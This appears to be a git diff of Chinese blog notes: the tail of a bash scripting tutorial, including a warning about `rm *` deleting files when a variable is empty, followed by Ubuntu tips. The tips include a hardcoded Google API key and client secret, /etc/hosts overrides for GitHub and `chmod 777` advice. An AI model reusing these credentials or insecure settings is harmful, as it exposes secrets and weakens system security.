uptime
|
||||||
|
sleep $DELAY
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 2 ]]; then
|
||||||
|
df -h
|
||||||
|
sleep $DELAY
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 3 ]]; then
|
||||||
|
if [[ $(id -u) -eq 0 ]]; then
|
||||||
|
echo "Home Space Utilization (All Users)"
|
||||||
|
du -sh /home/*
|
||||||
|
else
|
||||||
|
echo "Home Space Utilization ($USER)"
|
||||||
|
du -sh $HOME
|
||||||
|
fi
|
||||||
|
sleep $DELAY
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 0 ]]; then
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "Invalid entry."
|
||||||
|
sleep $DELAY
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo "Program terminated."
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
shell中的循环支持`break和continue`
|
||||||
|
|
||||||
|
### until
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# until-count: display a series of numbers
|
||||||
|
count=1
|
||||||
|
until [ $count -gt 5 ]; do
|
||||||
|
echo $count
|
||||||
|
count=$((count + 1))
|
||||||
|
done
|
||||||
|
echo "Finished."
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 疑难排解
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
cd $dir_name
|
||||||
|
rm *
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
可以这样改进:`cd $dir_name && rm *`,但是有可能未设置变量 dir_name 或其变量值为空,导致删除了用户家目录下面的所有文件。`&& cd $dir_name && rm *`:
|
||||||
|
|
||||||
|
```
|
||||||
|
if [[ -d $dir_name ]]; then
|
||||||
|
if cd $dir_name; then
|
||||||
|
rm *
|
||||||
|
else
|
||||||
|
echo "cannot cd to '$dir_name'" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "no such directory: '$dir_name'" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 测试
|
||||||
|
|
||||||
|
早发布,常发布:如果在开发周期的早期发现 bug,那么这些 bug 就越容易定位,而且越能低成本 的修复。比喻上述删除文件的操作非常危险,所以我们可以先这样进行测试,打印出要执行的语句就行:
|
||||||
|
|
||||||
|
```
|
||||||
|
if [[ -d $dir_name ]]; then
|
||||||
|
if cd $dir_name; then
|
||||||
|
echo rm * # TESTING
|
||||||
|
else
|
||||||
|
echo "cannot cd to '$dir_name'" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "no such directory: '$dir_name'" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
exit # TESTING
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 测试案例
|
||||||
|
|
||||||
|
通过谨慎地选择输入数据或者运行边缘案例和极端案例来完成测试。比喻上述脚本,我们要测试:
|
||||||
|
1. dir_name 包含一个已经存在的目录的名字1. dir_name 包含一个不存在的目录的名字1. dir_name 为空
|
||||||
|
### 调试
|
||||||
|
|
||||||
|
一个设计良好的脚本会对查找错误有帮助。设计良好的脚本应该具备防卫能力, 能够监测异常条件,并能为用户提供有用的反馈信息。
|
||||||
|
|
||||||
|
### 找到问题区域
|
||||||
|
|
||||||
|
隔离脚本中与出现的问题相关的代码区域对查找问题很有帮助。 隔离的代码区域并不总是真正的错误所在,但是隔离往往可以深入了解实际的错误原因。
|
||||||
|
|
||||||
|
### 追踪
|
||||||
|
|
||||||
|
添加提示信息追踪代码片段。把提示信息输出到标准错误输出,让其从标准输出中分离出来。bash 还提供了一种名为追踪的方法,这种方法可通过 -x 选项和 set 命令加上 -x 选项两种途径实现。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash -x
|
||||||
|
# trouble: script to demonstrate common errors
|
||||||
|
number=1
|
||||||
|
if [ $number = 1 ]; then
|
||||||
|
echo "Number is equal to 1."
|
||||||
|
else
|
||||||
|
echo "Number is not equal to 1."
|
||||||
|
fi
|
||||||
|
|
||||||
|
or
|
||||||
|
|
||||||
|
#!/bin/bash
|
||||||
|
# trouble: script to demonstrate common errors
|
||||||
|
number=1
|
||||||
|
echo "number=$number" # DEBUG
|
||||||
|
# 为脚本中的一块选择区域,而不是整个脚本启用追踪
|
||||||
|
set -x # Turn on tracing
|
||||||
|
if [ $number = 1 ]; then
|
||||||
|
echo "Number is equal to 1."
|
||||||
|
else
|
||||||
|
echo "Number is not equal to 1."
|
||||||
|
fi
|
||||||
|
set +x # Turn off tracing
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
行首的加号表明追踪的迹象,使其与常规输出结果区分开来。使用单引号是为了防止变量展开。
|
|
@ -0,0 +1,662 @@
|
||||||
|
# 原创
|
||||||
|
: Ubuntu使用日常
|
||||||
|
|
||||||
|
# Ubuntu使用日常
|
||||||
|
|
||||||
|
# Ubuntu使用日常
|
||||||
|
|
||||||
|
>
|
||||||
|
记录使用`Ubuntu`过程中遇到的问题,总结一些常用工具,归纳一些小技巧。本文永久更新地址:[Ubuntu.md](https://github.com/ds-ebooks/test/blob/master/Ubuntu.md)
|
||||||
|
|
||||||
|
|
||||||
|
### 文章目录
|
||||||
|
|
||||||
|
## 1、redshift色温调节工具
|
||||||
|
|
||||||
|
安装
|
||||||
|
|
||||||
|
```
|
||||||
|
# 只安装Redshift发现没有界面,所以安装了三个包
|
||||||
|
sudo apt install gtk-redshift redshift python-appindicator
|
||||||
|
# 执行
|
||||||
|
gtk-redshift
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
配置
|
||||||
|
|
||||||
|
```
|
||||||
|
touch ~/.config/redshift.conf
|
||||||
|
sudo gedit ~/.config/redshift.conf
|
||||||
|
# 加上以下内容
|
||||||
|
; Global settings for redshift
|
||||||
|
[redshift]
|
||||||
|
; Set the day and night screen temperatures
|
||||||
|
temp-day=4500
|
||||||
|
temp-night=3500
|
||||||
|
|
||||||
|
; Enable/Disable a smooth transition between day and night
|
||||||
|
; 0 will cause a direct change from day to night screen temperature.
|
||||||
|
; 1 will gradually increase or decrease the screen temperature.
|
||||||
|
transition=1
|
||||||
|
|
||||||
|
; Set the screen brightness. Default is 1.0.
|
||||||
|
;brightness=0.9
|
||||||
|
; It is also possible to use different settings for day and night
|
||||||
|
; since version 1.8.
|
||||||
|
;brightness-day=0.7
|
||||||
|
;brightness-night=0.4
|
||||||
|
; Set the screen gamma (for all colors, or each color channel
|
||||||
|
; individually)
|
||||||
|
gamma=0.8
|
||||||
|
;gamma=0.8:0.7:0.8
|
||||||
|
; This can also be set individually for day and night since
|
||||||
|
; version 1.10.
|
||||||
|
;gamma-day=0.8:0.7:0.8
|
||||||
|
;gamma-night=0.6
|
||||||
|
|
||||||
|
; Set the location-provider: 'geoclue', 'geoclue2', 'manual'
|
||||||
|
; type 'redshift -l list' to see possible values.
|
||||||
|
; The location provider settings are in a different section.
|
||||||
|
location-provider=manual
|
||||||
|
|
||||||
|
; Set the adjustment-method: 'randr', 'vidmode'
|
||||||
|
; type 'redshift -m list' to see all possible values.
|
||||||
|
; 'randr' is the preferred method, 'vidmode' is an older API.
|
||||||
|
; but works in some cases when 'randr' does not.
|
||||||
|
; The adjustment method settings are in a different section.
|
||||||
|
adjustment-method=randr
|
||||||
|
|
||||||
|
; Configuration of the location-provider:
|
||||||
|
; type 'redshift -l PROVIDER:help' to see the settings.
|
||||||
|
; ex: 'redshift -l manual:help'
|
||||||
|
; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
|
||||||
|
; are negative numbers.
|
||||||
|
[manual]
|
||||||
|
lat=36.10
|
||||||
|
lon=103.80
|
||||||
|
|
||||||
|
; Configuration of the adjustment-method
|
||||||
|
; type 'redshift -m METHOD:help' to see the settings.
|
||||||
|
; ex: 'redshift -m randr:help'
|
||||||
|
; In this example, randr is configured to adjust screen 1.
|
||||||
|
; Note that the numbering starts from 0, so this is actually the
|
||||||
|
; second screen. If this option is not specified, Redshift will try
|
||||||
|
; to adjust _all_ screens.
|
||||||
|
; [randr]
|
||||||
|
; screen=1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2、无道词典
|
||||||
|
|
||||||
|
环境
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python3
|
||||||
|
sudo apt-get install python3-pip
|
||||||
|
sudo pip3 install bs4
|
||||||
|
sudo pip3 install lxml
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
安装
|
||||||
|
|
||||||
|
```
|
||||||
|
git clone https://github.com/chestnutheng/wudao-dict
|
||||||
|
cd ./wudao-dict/wudao-dict
|
||||||
|
sudo bash setup.sh #或者sudo ./setup.sh
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3、pip指向问题
|
||||||
|
|
||||||
|
第一次安装pip
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python-pip python-dev build-essential
|
||||||
|
sudo pip install --upgrade pip
|
||||||
|
sudo pip install --upgrade virtualenv
|
||||||
|
sudo apt-get install python-setuptools python-dev build-essential
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
安装分别pip
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python3-pip
|
||||||
|
sudo apt-get install python-pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
指向问题<br/> 编辑这三个文件,将第一行注释分别改为`python\python2\python3`
|
||||||
|
|
||||||
|
```
|
||||||
|
~ $which pip
|
||||||
|
/usr/local/bin/pip
|
||||||
|
21:36 alien@alien-Inspiron-3443:
|
||||||
|
~ $which pip2
|
||||||
|
/usr/local/bin/pip2
|
||||||
|
21:36 alien@alien-Inspiron-3443:
|
||||||
|
~ $which pip3
|
||||||
|
/usr/local/bin/pip3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
改好之后便升级pip
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip3 install --upgrade pip
|
||||||
|
sudo pip2 install --upgrade pip
|
||||||
|
sudo pip install --upgrade pip
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4、更换pip源
|
||||||
|
|
||||||
|
pip国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了,那就直接将文件夹删除就行。
|
||||||
|
|
||||||
|
linux:
|
||||||
|
|
||||||
|
```
|
||||||
|
cat > ~/.pip/pip.conf
|
||||||
|
[global]
|
||||||
|
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
windows:
|
||||||
|
|
||||||
|
>
|
||||||
|
直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini,内容如下
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
[global]
|
||||||
|
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
另外npm,yarn也可以通过换源提高速度,网上很多教程,稍微提一下。
|
||||||
|
|
||||||
|
## 5、GitHub源
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit /etc/hosts
|
||||||
|
219.76.4.4 github-cloud.s3.amazonaws.com
|
||||||
|
151.101.72.249 http://global-ssl.fastly.Net
|
||||||
|
192.30.253.112 http://github.com
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6、查看Linux本地IP地址
|
||||||
|
|
||||||
|
```
|
||||||
|
ifconfig -a
|
||||||
|
inet addr:172.18.166.207 Bcast:172.18.166.255 Mask:255.255.255.0
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 7、ubuntu本地开启微型服务器
|
||||||
|
|
||||||
|
```
|
||||||
|
python -m SimpleHTTPServer 8888 #Python2
|
||||||
|
python -m http.server #python3
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
之后可以通过ip:端口远程访问本地主机文件。<br/> 传输文件
|
||||||
|
|
||||||
|
## 8、ECS与本地主机互传文件
|
||||||
|
|
||||||
|
通过`ssh`协议实现:
|
||||||
|
|
||||||
|
```
|
||||||
|
scp ~/cert/* root@47.107.129.219:/usr/local/nginx/cert
|
||||||
|
scp root@47.107.129.219:/usr/local/nginx/cert ~/cert/*
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 9、小书匠和Evernote
|
||||||
|
|
||||||
|
小书匠基础模板:
|
||||||
|
|
||||||
|
```
|
||||||
|
---
|
||||||
|
title: 2018-10-27未命名文件
|
||||||
|
tags: tag1,tag2
|
||||||
|
grammar_cjkRuby: true
|
||||||
|
---
|
||||||
|
[Edit](http://markdown.xiaoshujiang.com/)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
脚注[^1x]
|
||||||
|
[^1x]: 脚注用法测试
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 10、Windows 中 Chromium 缺少 Google API 密钥
|
||||||
|
|
||||||
|
在`CMD`中执行:
|
||||||
|
|
||||||
|
```
|
||||||
|
setx GOOGLE_API_KEY AIzaSyCkfPOPZXDKNn8hhgu3JrA62wIgC93d44k
|
||||||
|
setx GOOGLE_DEFAULT_CLIENT_ID 811574891467.apps.googleusercontent.com
|
||||||
|
setx GOOGLE_DEFAULT_CLIENT_SECRET kdloedMFGdGla2P1zacGjAQh
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 11、博客音乐外链
|
||||||
|
|
||||||
|
[音乐外链播放器推荐](https://perpeht.com/2017/12/%E4%BC%98%E7%A7%80%E9%9F%B3%E4%B9%90%E5%A4%96%E9%93%BE%E6%92%AD%E6%94%BE%E5%99%A8%E6%8E%A8%E8%8D%90/)
|
||||||
|
|
||||||
|
## 12、Debian/Ubuntu中管理多版本Node.js
|
||||||
|
|
||||||
|
安装nvm:
|
||||||
|
|
||||||
|
```
|
||||||
|
git clone https://github.com/creationix/nvm.git ~/.nvm
|
||||||
|
cd ~/.nvm
|
||||||
|
git checkout `git describe --abbrev=0 --tags`
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
激活nvm:
|
||||||
|
|
||||||
|
```
|
||||||
|
. ~/.nvm/nvm.sh
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
登录后自动激活nvm,在`~/.bashrc`加
|
||||||
|
|
||||||
|
```
|
||||||
|
export NVM_DIR=~/.nvm
|
||||||
|
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"
|
||||||
|
[ -r $NVM_DIR/bash_completion ] && . $NVM_DIR/bash_completion
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
卸载node和nvm
|
||||||
|
|
||||||
|
```
|
||||||
|
rm -rf ~/.nvm
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 13、虚拟终端(Ctrl+Alt+F1)下显示菱形中文乱码
|
||||||
|
|
||||||
|
系统全用英文吧:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit /etc/default/locale
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
将内容改为:
|
||||||
|
|
||||||
|
```
|
||||||
|
LANG="en_US.UTF-8"
|
||||||
|
LANGUAGE="en_US:en"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
再运行:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo locale-gen
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
然后重启`reboot`,会提示是否将文件夹改成英文的,此时选择“Update…”即可。
|
||||||
|
|
||||||
|
## 14、彻底卸载mysql重新安装
|
||||||
|
|
||||||
|
1.命令apt-get删除mysql
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get remove --purge mysql-\*
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
2.手动删除mysql剩余文件<br/> 执行命令
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo find / -name mysql -print
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
会显示出所有的含有mysql文件名的路径,如下:
|
||||||
|
|
||||||
|
```
|
||||||
|
/var/lib/mysql
|
||||||
|
/var/lib/mysql/mysql
|
||||||
|
/var/log/mysql
|
||||||
|
/usr/bin/mysql
|
||||||
|
/usr/lib/mysql
|
||||||
|
/usr/share/mysql
|
||||||
|
/etc/mysql
|
||||||
|
/etc/init.d/mysql
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
都删除掉
|
||||||
|
|
||||||
|
3.重新安装
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install mysql-server mysql-client
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
如果报错执行下面命令再安装
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get remove --purge mysql-\*
|
||||||
|
sudo apt-get install mysql-server mysql-client
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 15、MySQL5.7设置utf8编码格式
|
||||||
|
|
||||||
|
[查看博文](https://blog.csdn.net/qq_32144341/article/details/51318390)
|
||||||
|
|
||||||
|
## 16、WIndows的Linux子系统
|
||||||
|
|
||||||
|
[查看博文](http://csuncle.com/2017/08/08/Windows-linux%E5%AD%90%E7%B3%BB%E7%BB%9F-%E5%85%A5%E9%97%A8%E5%88%B0GUI/)
|
||||||
|
|
||||||
|
## 17、文件管理器左侧快捷方式管理
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo gedit ~/.config/user-dirs.dirs
|
||||||
|
# 默认的内容是文档,图片,下载等目录
|
||||||
|
# This file is written by xdg-user-dirs-update
|
||||||
|
# If you want to change or add directories, just edit the line you're
|
||||||
|
# interested in. All local changes will be retained on the next run
|
||||||
|
# Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped
|
||||||
|
# homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an
|
||||||
|
# absolute path. No other format is supported.
|
||||||
|
#
|
||||||
|
XDG_DESKTOP_DIR="$HOME/Desktop"
|
||||||
|
XDG_DOWNLOAD_DIR="$HOME/Downloads"
|
||||||
|
XDG_TEMPLATES_DIR="$HOME/Templates"
|
||||||
|
XDG_PUBLICSHARE_DIR="$HOME/Public"
|
||||||
|
XDG_DOCUMENTS_DIR="$HOME/Documents"
|
||||||
|
XDG_MUSIC_DIR="$HOME/Music"
|
||||||
|
XDG_PICTURES_DIR="$HOME/Pictures"
|
||||||
|
XDG_VIDEOS_DIR="$HOME/Videos"
|
||||||
|
# 再创建一个文件,直接执行:
|
||||||
|
echo”enabled = false“>〜/ .config / user-dirs.conf
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 18、访问磁盘
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install ntfs-3g
|
||||||
|
# 修复不能访问的磁盘
|
||||||
|
sudo ntfsfix /dev/sda6
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 19、Grub启动图形界面美化
|
||||||
|
|
||||||
|
[查看博文](https://tianyijian.github.io/2018/04/05/ubuntu-grub-beautify/)<br/> 更新Grub:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo update-grub
|
||||||
|
sudo grub-install /dev/sda
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 20、开机自启动
|
||||||
|
|
||||||
|
以`plank`为例
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo ln -s /usr/share/applications/plank.desktop /etc/xdg/autostart/
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 21、Pycharm汉化
|
||||||
|
|
||||||
|
[JetBrains 系列软件汉化包](https://github.com/pingfangx/TranslatorX)
|
||||||
|
|
||||||
|
## 22、Notepad++配置
|
||||||
|
|
||||||
|
[查看博文](https://www.jianshu.com/p/3088175e5f78)
|
||||||
|
|
||||||
|
## 23、Windows10 Python配置
|
||||||
|
|
||||||
|
[查看博文](https://blog.csdn.net/qiang12qiang12/article/details/53239866)
|
||||||
|
|
||||||
|
## 24、MAC OS 主题
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install unity-tweak-tool
|
||||||
|
sudo add-apt-repository ppa:noobslab/macbuntu
|
||||||
|
|
||||||
|
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
|
||||||
|
sudo apt-get install macbuntu-os-icons-lts-v7
|
||||||
|
|
||||||
|
|
||||||
|
sudo apt-get install macbuntu-os-ithemes-lts-v7
|
||||||
|
|
||||||
|
|
||||||
|
cd && wget -O Mac.po http://drive.noobslab.com/data/Mac/change-name-on-panel/mac.po
|
||||||
|
|
||||||
|
|
||||||
|
cd /usr/share/locale/en/LC_MESSAGES; sudo msgfmt -o unity.mo ~/Mac.po;rm ~/Mac.po;cd
|
||||||
|
|
||||||
|
|
||||||
|
wget -O launcher_bfb.png http://drive.noobslab.com/data/Mac/launcher-logo/apple/launcher_bfb.png
|
||||||
|
sudo mv launcher_bfb.png /usr/share/unity/icons/
|
||||||
|
gsettings set com.canonical.unity-greeter draw-grid false;exit
|
||||||
|
|
||||||
|
|
||||||
|
sudo add-apt-repository ppa:noobslab/themes
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install macbuntu-os-bscreen-lts-v7
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 25、垃圾清理
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get autoclean 清理旧版本的软件缓存
|
||||||
|
sudo apt-get clean 清理所有软件缓存
|
||||||
|
sudo apt-get autoremove 删除系统不再使用的孤立软件
|
||||||
|
sudo apt-get install gtkorphan -y清理Linux下孤立的包
|
||||||
|
sudo apt-get remove tracker
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 26、暴力关机导致蓝屏问题
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo dpkg --configure -a
|
||||||
|
sudo apt-get install xserver-xorg-lts-utopic
|
||||||
|
sudo dpkg-reconfigure xserver-xorg-lts-utopic
|
||||||
|
reboot
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 27、mentohust联网
|
||||||
|
|
||||||
|
下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install mentohust
|
||||||
|
sudo mentohust -k
|
||||||
|
sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 28、彻底卸载Firefox
|
||||||
|
|
||||||
|
```
|
||||||
|
dpkg --get-selections |grep firefox
|
||||||
|
sudo apt-get purge firefox
|
||||||
|
sudo apt-get purge firefox-locale-en
|
||||||
|
sudo apt-get purge firefox-locale-zh-hans
|
||||||
|
sudo apt-get purge unity-scope-firefoxbookmarks
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 29、安装chromium
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo add-apt-repository ppa:a-v-shkop/chromium
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install chromium-browser
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 30、终端图片显示工具
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install aview
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
asciiview elephant.jpg -driver curses
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 31、经典菜单指示器
|
||||||
|
|
||||||
|
[ClassicMenu Indicator](http://www.florian-diesch.de/software/classicmenu-indicator/#download)
|
||||||
|
|
||||||
|
## 32、文件编码转换
|
||||||
|
|
||||||
|
安装`enca、iconv`:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get enca iconv
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
#enca查看文件编码
|
||||||
|
enca filename
|
||||||
|
#iconv将一个GBK编码的文件转换成UTF-8编码
|
||||||
|
enconv -L zh_CN -x UTF-8 filename
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 33、字符串logo工具
|
||||||
|
1. 安装:
|
||||||
|
```
|
||||||
|
sudo apt-get install figlet
|
||||||
|
|
||||||
|
```
|
||||||
|
1. 用法:
|
||||||
|
```
|
||||||
|
figlet JupyterLab
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 34、百度网盘相关
|
||||||
|
|
||||||
|
## 35、类似`QQ`的截图工具
|
||||||
|
|
||||||
|
>
|
||||||
|
弃用`deepin-scrot`,请更新为[`deepin-screenshot`](https://pkgs.org/download/deepin-screenshot)
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
wget http://packages.linuxdeepin.com/deepin/pool/main/d/deepin-scrot/deepin-scrot_2.0-0deepin_all.deb
|
||||||
|
sudo dpkg -i deepin-scrot_2.0-0deepin_all.deb
|
||||||
|
# 修复依赖问题
|
||||||
|
sudo apt install -f
|
||||||
|
rm deepin-scrot_2.0-0deepin_all.deb
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
然后去`系统设置-键盘-快捷键-自定义快捷键`,之后就可以体验`QQ`那样的截图方式了。
|
||||||
|
|
||||||
|
当然`shutter`也很优秀,不过我更喜欢`deepin-scrot`
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install shutter
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 36、`dot`画图
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt install graphviz
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
graph demo{
|
||||||
|
1 -- 2
|
||||||
|
2 -- 3
|
||||||
|
3 -- 4
|
||||||
|
1 -- 4
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
dot demo.dot -Tpng -o demo.png
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 37、`htop`进程管理工具
|
||||||
|
|
||||||
|
可以查看后台进程`PID`,方便`kill`进程.
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt install htop
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 38、`fuck`终端工具
|
||||||
|
|
||||||
|
*[thefuck](https://github.com/nvbn/thefuck)
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo pip3 install thefuck
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 39、查看电脑完整配置
|
||||||
|
|
||||||
|
```
|
||||||
|
lshw
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 40、标题栏实时显示上下行网速
|
||||||
|
|
||||||
|
下载安装运行`indicator-sysmonito`:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python3-psutil curl git gir1.2-appindicator3-0.1
|
||||||
|
git clone https://github.com/fossfreedom/indicator-sysmonitor.git
|
||||||
|
cd indicator-sysmonitor
|
||||||
|
sudo make install
|
||||||
|
nohup indicator-sysmonitor &
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 41、万能解压工具`unar`
|
||||||
|
|
||||||
|
>
|
||||||
|
通杀`7z zip tar rar gz`等等
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install unar
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 42、安装`aira2`及开机启动配置
|
|
@ -0,0 +1,30 @@
|
||||||
|
# 原创
|
||||||
|
: Ubuntu安装pip
|
||||||
|
|
||||||
|
# Ubuntu安装pip
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo apt-get install python-pip python-dev build-essential
|
||||||
|
$ sudo pip install --upgrade pip
|
||||||
|
$ sudo pip install --upgrade virtualenv
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo apt-get install python-setuptools python-dev build-essential
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo easy_install pip
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo pip install --upgrade virtualenv
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python3-pip
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install python-pip
|
||||||
|
```
|
|
@ -0,0 +1,153 @@
|
||||||
|
# 原创
|
||||||
|
: Ubuntu安装及配置
|
||||||
|
|
||||||
|
# Ubuntu安装及配置
|
||||||
|
|
||||||
|
**1.分区问题:**<br/> 1.swap分区,相当于虚拟内存<br/> 2./根目录,主分区,空间起始位置,越大越好<br/> 3./boot分区,逻辑分区,空间起始位置,200M即可,grub启动文件<br/> 4./home分区,逻辑分区,空间起始位置。<br/>
|
||||||
|
|
||||||
|
**2.软件源安装**<br/> 1.建议改为国内软件源,https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/<br/> 2.将系统自带的官方软件源进行备份,sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup<br/> 3.将清华网站上的更新源复制,替换粘贴到sources.list中,用gedit打开<br/> 4.权限问题,先创建root用户:chmod 777 文件或文件夹
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**3.主题优化**
|
||||||
|
|
||||||
|
参考:
|
||||||
|
|
||||||
|
[ubuntu16.04主题优化](http://www.linuxidc.com/Linux/2016-09/135165.htm)
|
||||||
|
|
||||||
|
[ubuntu装机优化](http://eldersword.leanote.com/post/ubuntu-%E8%A3%85%E6%9C%BA%E5%AE%8C%E6%88%90%E7%9A%84%E4%BC%98%E5%8C%96)
|
||||||
|
|
||||||
|
